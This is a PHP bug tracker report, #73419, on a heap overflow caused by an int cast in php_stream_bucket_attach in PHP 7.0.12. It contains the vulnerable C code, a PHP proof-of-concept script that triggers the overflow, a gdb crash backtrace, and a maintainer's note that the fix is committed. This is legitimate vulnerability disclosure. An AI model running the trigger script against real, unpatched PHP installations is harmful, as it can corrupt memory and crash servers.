php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73419 Incorrect Type Comparison in "php_stream_bucket_attach" Leads Heap Overflow
Submitted: 2016-10-30 10:41 UTC Modified: 2017-02-13 00:59 UTC
From: orange at chroot dot org Assigned: stas (profile)
Status: Closed Package: Streams related
PHP Version: 7.0.12 OS: Ubuntu
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: orange at chroot dot org
New email:
PHP Version: OS:

 

 [2016-10-30 10:41 UTC] orange at chroot dot org
Description:
------------
Hi

I just review the code of PHP7 and I found an incorrect type comparison in function php_stream_bucket_attach.

In file ext/standard/user_filters.c line 455

```
455		if ((int)bucket->buflen != Z_STRLEN_P(pzdata)) {
456			bucket->buf = perealloc(bucket->buf, Z_STRLEN_P(pzdata), bucket->is_persistent);
457			bucket->buflen = Z_STRLEN_P(pzdata);
458		}
459		memcpy(bucket->buf, Z_STRVAL_P(pzdata), bucket->buflen);
```

bucket->buflen is user controllable and it's type casted from size_t to int, so if I provide a bucket->buflen size 0x10000002 and let Z_STRLEN_P(pzdata) to 0x2, the bucket->buflen won't be changed.

In line 459, the memcpy will use bucket->buflen with type size_t, so it will copy 0x10000002 bytes from Z_STRVAL_P(pzdata) to bucket->buf.


I think the patch is just remove the casting "(int)" in line 455!


Test script:
---------------
 <?php
    ini_set("memory_limit", "-1");

    class strtoupper_filter extends php_user_filter {
      function filter($in, $out, &$consumed, $closing)
      {
        $fp = fopen("/dev/null", "rb"); 
        $bucket = stream_bucket_new($fp, str_repeat('x', 0x100000002));
        $bucket->data = "gg";
        stream_bucket_append($out, $bucket);
        return PSFS_PASS_ON;
      }
    }

    stream_filter_register("strtoupper", "strtoupper_filter");
    $fp = fopen("/dev/null", "r");
    stream_filter_append($fp, "strtoupper");
    fread($fp, 1);
    fclose($fp);

Actual result:
--------------
gdb-peda$ bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:116
#1  0x000000000066d390 in memcpy (__len=<optimized out>, __src=<optimized out>, __dest=<optimized out>)
    at /usr/include/x86_64-linux-gnu/bits/string3.h:51
#2  php_stream_bucket_attach (append=0x1, return_value=<optimized out>, execute_data=<optimized out>)
    at /home/orange/aa/php-7.0.12/ext/standard/user_filters.c:459
#3  0x000000000072a63d in ZEND_DO_ICALL_SPEC_HANDLER () at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:586
#4  0x000000000071cb0b in execute_ex (ex=<optimized out>) at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:414
#5  0x00000000006d258b in zend_call_function (fci=fci@entry=0x7fffffffa660, fci_cache=0x7ffff4c852e0, fci_cache@entry=0x0)
    at /home/orange/aa/php-7.0.12/Zend/zend_execute_API.c:856
#6  0x00000000006d2aa8 in call_user_function_ex (function_table=function_table@entry=0x0, object=object@entry=0x7ffff4c75008,
    function_name=function_name@entry=0x7fffffffa6f0, retval_ptr=retval_ptr@entry=0x7fffffffa700, param_count=param_count@entry=0x4,
    params=params@entry=0x7fffffffa720, no_separation=no_separation@entry=0x0, symbol_table=symbol_table@entry=0x0)
    at /home/orange/aa/php-7.0.12/Zend/zend_execute_API.c:675
#7  0x000000000066cce8 in userfilter_filter (stream=<optimized out>, thisfilter=0x7ffff4c75000, buckets_in=0x7fffffffa7c0,
    buckets_out=0x7fffffffa7d0, bytes_consumed=0x0, flags=<optimized out>)
    at /home/orange/aa/php-7.0.12/ext/standard/user_filters.c:203
#8  0x0000000000699cfd in _php_stream_fill_read_buffer (stream=stream@entry=0x7ffff4c72300, size=size@entry=0x1)
    at /home/orange/aa/php-7.0.12/main/streams/streams.c:593
#9  0x0000000000699fa7 in _php_stream_read (stream=stream@entry=0x7ffff4c72300, buf=buf@entry=0x7ffff4c01838 "fread", size=0x1)
    at /home/orange/aa/php-7.0.12/main/streams/streams.c:722
#10 0x000000000062b113 in zif_fread (execute_data=<optimized out>, return_value=0x7ffff4c13110)
    at /home/orange/aa/php-7.0.12/ext/standard/file.c:1770
#11 0x000000000072a63d in ZEND_DO_ICALL_SPEC_HANDLER () at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:586
#12 0x000000000071cb0b in execute_ex (ex=<optimized out>) at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:414
#13 0x0000000000765fe7 in zend_execute (op_array=0x7ffff4c7d000, op_array@entry=0x7ffff4c85660,
    return_value=return_value@entry=0x7ffff4c13030) at /home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:458
#14 0x00000000006e0234 in zend_execute_scripts (type=type@entry=0x8, retval=0x7ffff4c13030, retval@entry=0x0,
    file_count=file_count@entry=0x3) at /home/orange/aa/php-7.0.12/Zend/zend.c:1427
#15 0x0000000000683bf8 in php_execute_script (primary_file=primary_file@entry=0x7fffffffcd10)
    at /home/orange/aa/php-7.0.12/main/main.c:2494
#16 0x0000000000767bb8 in do_cli (argc=0x2, argv=0xecbfc0) at /home/orange/aa/php-7.0.12/sapi/cli/php_cli.c:974
#17 0x0000000000430530 in main (argc=argc@entry=0x2, argv=0xecbfc0, argv@entry=0x7fffffffe108)
    at /home/orange/aa/php-7.0.12/sapi/cli/php_cli.c:1344
#18 0x00007ffff6c9eec5 in __libc_start_main (main=0x430020 <main>, argc=0x2, argv=0x7fffffffe108, init=<optimized out>,
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe0f8) at libc-start.c:287
#19 0x00000000004305cb in _start ()


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-03 14:35 UTC] orange at chroot dot org
ping?
 [2016-11-05 21:48 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:48 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-02-13 00:59 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Apr 19 14:01:30 2024 UTC